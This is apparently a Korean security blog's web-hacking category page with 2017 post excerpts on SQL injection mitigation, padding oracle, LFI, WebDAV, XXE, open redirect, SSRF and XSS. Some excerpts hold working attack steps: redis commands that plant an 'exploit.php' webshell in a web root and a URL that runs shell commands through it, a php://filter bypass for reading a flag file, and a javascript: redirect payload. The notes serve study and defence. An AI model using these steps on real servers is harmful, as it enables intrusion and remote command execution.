Security/WebHacking
SQL injection Mitigation : preparedStatement
SQL injection Mitigation : preparedStatement
2017.11.30SQL 구문을 미리 preparedStatement로 확정시켜 놓고 거기에 파라미터만 대입하는 형식으로 사용하면 SQL 구조가 외부 입력값에 의해서 변경되는 것을 방지할 수 있다. SQL문 실행 순서는 다음과 같다. ``` SQL 구문 분석 -> 컴파일 -> 쿼리 실행 ``` preparedStatement 사용하지 않는 동적 쿼리 구조 : id로 어떤 값이 넘어오느냐에 따라 쿼리 구조가 변경될 수 있다. ```java String sql = "select * from tbl where id=" + id; statement(sql) // 구문 분석 & 컴파일 // 쿼리 실행 ``` preparedStatement 사용하는 동적 쿼리 구조 : id에 어떤 값이 오든 쿼리 구조는 이미 확정된 상태. ```j..
Padding Oracle Attack
Padding Oracle Attack
2017.11.27length가 나누어 떨어지더라도 padding이 올바르지 않으면 Error암/복호화에 사용되는 IV는 같다.TRIPLE DES는 고려하지 않아도 되는게, 이미 그 부분에 대한 연산이 끝난 이후의 Intermediary Value(중간 값)를 구하는 것이기 때문.
LFI, Local File Inclusion
LFI, Local File Inclusion
2017.11.23LFI, Local File Inclusionhttp://php.net/manual/en/wrappers.php.php PHP에서는 ``php php://filter``를 사용해서 File IO하는 방법도 있는데, 이게 문자열로 넘어가기 때문에 필터링 우회에 사용할 수 있다.예를 들어 `` flag.txt``라는 문자열을 필터링해놓은 경우, 다음 처럼 넘겨서 우회할 수 있다.(물론 서버의 필터링에 따라 더 간단하게 우회할 수 있는 경우도 있다.)```php?fname=php://filter/convert.base64-encode/resource=flag``` 이와 비슷하지만 원격지 파일을 참조하게 되면 RFI다.
WebDAV / CVE-2017-7269
WebDAV / CVE-2017-7269
2017.11.15WebDAV1. WebDAV란 무엇인가?WebDav(Web-based Distributed Authoring and Versioning)는 쉽게 말해 웹서버를 파일 시스템처럼 접근할 수 있도록 지원하는 확장된 HTTP프로토콜이다.웹서버에 올라가 있는 파일을 http 프로토콜로 관리(목록 조회, 수정, 삭제, 이동 등)할 수 있다는 장점이 있다.물론 이같은 작업은 ftp 등으로도 가능하지만, 그냥 http로 처리하기 때문에 접근성이 좋다는 점, ssl이 적용 가능하다는 점, 동영상 스트리밍에 더 유리하다는 점 등등의 장점이 있다. 1) WebDAV 특징- 파일 락킹(file locking) 지원- XML을 사용하여 데이터 교환- 간단한 설정- 쉬운 접근 제어- 웹하드 구현 용이 2) WebDAV에서 확장된..
Webshell pattern 웹쉘 패턴
Webshell pattern 웹쉘 패턴
2017.10.28이 글은 보호되어 있기 때문에 이것을 보려면 암호가 필요합니다.
redis를 통해 webshell upload
redis를 통해 webshell upload
2017.10.05webshell upload```bashFLUSHALLeval 'redis.call("set", "", "test"); redis.call("config", "set", "dir", "/var/www/html/cache/"); redis.call("config", "set", "dbfilename", "exploit.php");' 0savequit``````http://192.168.13.133/cache/exploit.php?cmd=echo%20`ls%20-l`;```REDIS0008�redis-ver4.0.2� redis-bits�@�ctime�*��Y�used-mem�� �repl-stream-db���repl-id(b256256c124e6f5671af7f82508ead2baa3b784d�repl-..
Error-based SQL injection
Error-based SQL injection
2017.09.23이 글은 보호되어 있기 때문에 이것을 보려면 암호가 필요합니다.
XXE, XML eXternal Entity
XXE, XML eXternal Entity
2017.09.21eXternal Entity ATTACKXML에서 동적으로 외부 리소스를 받아오기 위해 external entity를 사용할 때, XML Request를 파싱하는 페이지에서 발생SSRF를 유도할 수 있다.Port Scan을 수행할 수 있다. MitigationXML은 보통 불특정 client와 통신하는데 사용되기 때문에 DTD 요소들을 선택적으로 validate, escape하는 것이 어렵다. 따라서 XML processor가 XML document에 포함된 다른 DTD를 거부하고 local static DTD만 사용하도록 설정해야 한다.```phplibxml_disable_entity_loader(true)libxml_use_internal_errors(true) // 이 것도 해주면 좋다.``` DT..
[PHP] hack
[PHP] hack
2017.09.21이 글은 보호되어 있기 때문에 이것을 보려면 암호가 필요합니다.
Unsafe redirect
Unsafe redirect
2017.09.21Unsafe/Unvalidated/Open Redirect해당 도메인 이외의 phishing site 등 malicious site로 이동할 수 있다는 건데... 사실 이 자체로 취약점이라고 하긴 좀 그렇긴 함...하지만 OWASP에서 말하길 trusted site에서 이동하는거라 눈치채지 못하는 유저도 있다. 고 하네그리고 scheme을 http로 제한하지 않는 경우 location에 `` javascript:alert(1);`` 넣는 식으로 XSS가 가능하기도 하고. ```?url=http://external.malisious.site``````php// PHPheader('Location: '.$_GET['url']);``````java// javaresponse.sendRedirect(reques..
SSRF
SSRF
2017.09.19Server Side Request Forgery웹 어플리케이션이 외부로 request를 보낼 대상을 설정할 때, 뿐만 아니라 외부로 request를 보낼 수 있는 함수를 사용할 때 인자에 user input이 들어간다면 발생할 수 있다. PHP는 http:// Wrapper를 지원하기 때문에, ``php fopen()``, ``php include/require``, cURL등에 인자로 `` http://url`` 형태를 넘겨 외부 도메인에 있는 리소스를 가져올 수 있다. - `` http://`` 이외에도 다양한 Wrapper를 사용할 수 있다. - 위 함수들 뿐만 아니라, user input을 참고해 외부 request를 보내는 상황이면 어디든 발생할 수 있다. 외부 도메인 뿐만 아니라 방화벽 뒤에..
XSS / CSRF
XSS / CSRF
2017.09.19서버에서 받아온 데이터를 그냥 innerHTML로 할당하는 것은 지양해야 한다. XSShttps://github.com/naver/lucy-xss-filter직접 LucyFilter 객체 가져와서 메서드 불러 `` dirty -> escaped``로 만들어야 함.직접 달아줘야 하기 때문에 달아야 하는 곳에 안달거나, 안달아야 하는 곳에 다는 경우가 있을 수 있음.https://github.com/naver/lucy-xss-servlet-filterXSS 체크가 요청 파라미터로 넘어오는 모든 것들에 대해서 일괄 적용됨비즈니스 로직에 XSS 체크가 들어가지 않아도 된다!https://www.npmjs.com/package/sanitize-html 근데 이거 쫌 무겁다.https://www.npmjs.com/..